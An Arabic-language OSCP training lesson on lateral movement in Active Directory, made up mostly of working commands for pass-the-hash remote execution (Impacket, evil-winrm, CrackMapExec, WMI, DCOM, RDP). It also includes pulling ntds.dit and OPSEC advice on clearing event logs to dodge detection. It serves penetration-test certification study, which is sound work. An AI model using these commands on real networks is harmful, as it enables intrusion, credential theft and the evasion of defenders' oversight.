الدرس 23 من 24

Active Directory ومحاكاة الاختبار

الحركة الجانبية

4 دقيقة للقراءة

بعد الحصول على الوصول الأولي، تحتاج للتنقل عبر الشبكة للوصول للأهداف عالية القيمة. الحركة الجانبية ضرورية لمجموعة AD في OSCP.

فهم الحركة الجانبية

تدفق الحركة الجانبية:
الوصول الأولي ──> جمع بيانات الاعتماد ──> الانتقال للمضيف التالي ──> التكرار
     │                    │                      │
     └── مستخدم محدود    └── تفريغ التجزئات    └── وصول admin

متغيرات PsExec

Impacket psexec.py

# مع كلمة المرور
psexec.py corp.local/administrator:password@$TARGET

# مع تجزئة NTLM
psexec.py -hashes :NTHASH corp.local/administrator@$TARGET

# تنفيذ أمر محدد
psexec.py corp.local/administrator:password@$TARGET "whoami"

Impacket smbexec.py

# أكثر تخفياً من psexec (بدون رفع ثنائي)
smbexec.py corp.local/administrator:password@$TARGET

# مع التجزئة
smbexec.py -hashes :NTHASH corp.local/administrator@$TARGET

Impacket wmiexec.py

# يستخدم WMI (أكثر تخفياً)
wmiexec.py corp.local/administrator:password@$TARGET

# مع التجزئة
wmiexec.py -hashes :NTHASH corp.local/administrator@$TARGET

المقارنة

الأداة الطريقة الآثار الكشف
psexec.py SMB + خدمة ثنائي على القرص عالي
smbexec.py SMB + ملف batch آثار أقل متوسط
wmiexec.py WMI بدون كتابة للقرص منخفض
atexec.py جدولة المهام مهمة مجدولة متوسط

Evil-WinRM

أفضل أداة للوصول عبر Windows Remote Management.

# مع كلمة المرور
evil-winrm -i $TARGET -u administrator -p 'password'

# مع التجزئة
evil-winrm -i $TARGET -u administrator -H NTHASH

# مع تذكرة Kerberos
evil-winrm -i $TARGET -r corp.local

# رفع/تنزيل الملفات
*Evil-WinRM* PS> upload /tmp/mimikatz.exe
*Evil-WinRM* PS> download C:\Windows\NTDS\ntds.dit

الحركة الجانبية بـ CrackMapExec

تنفيذ الأوامر

# تنفيذ أمر
crackmapexec smb $TARGET -u admin -p 'password' -x "whoami"

# تنفيذ PowerShell
crackmapexec smb $TARGET -u admin -p 'password' -X "Get-Process"

# أهداف متعددة
crackmapexec smb $NETWORK/24 -u admin -p 'password' -x "hostname"

الرش والتنقل

# إيجاد أين لديك admin
crackmapexec smb $NETWORK/24 -u user -p 'password'

# Pwn3d! يشير لوصول admin
# ثم نفذ على تلك المضيفين
crackmapexec smb 192.168.1.10 -u user -p 'password' -x "whoami"

أدوات Windows الأصلية

PowerShell Remoting

# تمكين PSRemoting (إذا admin)
Enable-PSRemoting -Force

# الدخول لجلسة بعيدة
Enter-PSSession -ComputerName TARGET -Credential corp\admin

# تنفيذ أمر عن بعد
Invoke-Command -ComputerName TARGET -Credential corp\admin -ScriptBlock {whoami}

# التشغيل على حواسيب متعددة
Invoke-Command -ComputerName SRV1,SRV2,SRV3 -ScriptBlock {hostname}

WMI

# تنفيذ عملية عبر WMI
wmic /node:TARGET /user:administrator /password:password process call create "cmd.exe /c whoami > C:\result.txt"

# متغير PowerShell
Invoke-WmiMethod -ComputerName TARGET -Credential $cred -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami"

PsExec (Sysinternals)

# تنفيذ أمر
psexec \\TARGET -u corp\admin -p password cmd.exe

# التنفيذ كـ SYSTEM
psexec \\TARGET -u corp\admin -p password -s cmd.exe

# نسخ وتنفيذ ملف
psexec \\TARGET -u corp\admin -p password -c malware.exe

الحركة الجانبية بـ RDP

تمكين RDP

# تمكين RDP
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name "fDenyTSConnections" -Value 0

# السماح عبر جدار الحماية
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

استخدام xfreerdp (Linux)

# الاتصال بكلمة المرور
xfreerdp /u:administrator /p:password /v:$TARGET

# الاتصال بالتجزئة (يتطلب وضع Restricted Admin)
xfreerdp /u:administrator /pth:NTHASH /v:$TARGET

# ملء الشاشة
xfreerdp /u:administrator /p:password /v:$TARGET /f

SharpRDP

# تنفيذ RDP بدون GUI
.\SharpRDP.exe computername=TARGET command="cmd.exe /c whoami" username=corp\admin password=password

SSH (أهداف Linux)

# مع كلمة المرور
ssh user@$TARGET

# مع المفتاح
ssh -i id_rsa user@$TARGET

# توجيه المنفذ عبر المحور
ssh -L 8080:internal-target:80 user@pivot

الحركة الجانبية بـ DCOM

# استخدام DCOM (أقل شيوعاً، جيد للتجنب)
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc.exe","Minimized")

تجنب كشف الحركة الجانبية

نصائح OPSEC:
├── فضّل wmiexec على psexec (آثار أقل)
├── استخدم أدوات Windows الأصلية عندما ممكن
├── امسح سجلات الأحداث بانتقائية (إذا لزم)
├── استخدم أدوات admin شرعية (PowerShell remoting)
└── وقت الهجمات خلال ساعات العمل

سير عمل الحركة الجانبية

1. تحديد الأهداف بـ BloodHound
   └── إيجاد أقصر مسار لـ DA

2. فحص وصول admin
   └── crackmapexec smb TARGETS -u user -p pass

3. الانتقال للمضيفين المتاحين
   └── evil-winrm، wmiexec، psexec

4. جمع بيانات الاعتماد
   └── mimikatz، secretsdump

5. التكرار مع بيانات الاعتماد الجديدة
   └── توسيع الوصول حتى الوصول لـ DA

مرجع سريع

السيناريو الأداة الأمر
لديك كلمة مرور evil-winrm evil-winrm -i TARGET -u user -p pass
لديك تجزئة NTLM wmiexec wmiexec.py -hashes :HASH domain/user@TARGET
لديك تذكرة Kerberos psexec psexec.py -k -no-pass domain/user@TARGET
فحص وصول admin crackmapexec crackmapexec smb TARGETS -u user -p pass
وصول RDP xfreerdp xfreerdp /u:user /p:pass /v:TARGET

في الدرس التالي، سنغطي استراتيجية الاختبار وسيناريوهات التدريب لاختبار OSCP. :::

اختبار

الوحدة 6: Active Directory ومحاكاة الاختبار

خذ الاختبار
نشرة أسبوعية مجانية

ابقَ على مسار النيرد

بريد واحد أسبوعياً — دورات، مقالات معمّقة، أدوات، وتجارب ذكاء اصطناعي.

بدون إزعاج. إلغاء الاشتراك في أي وقت.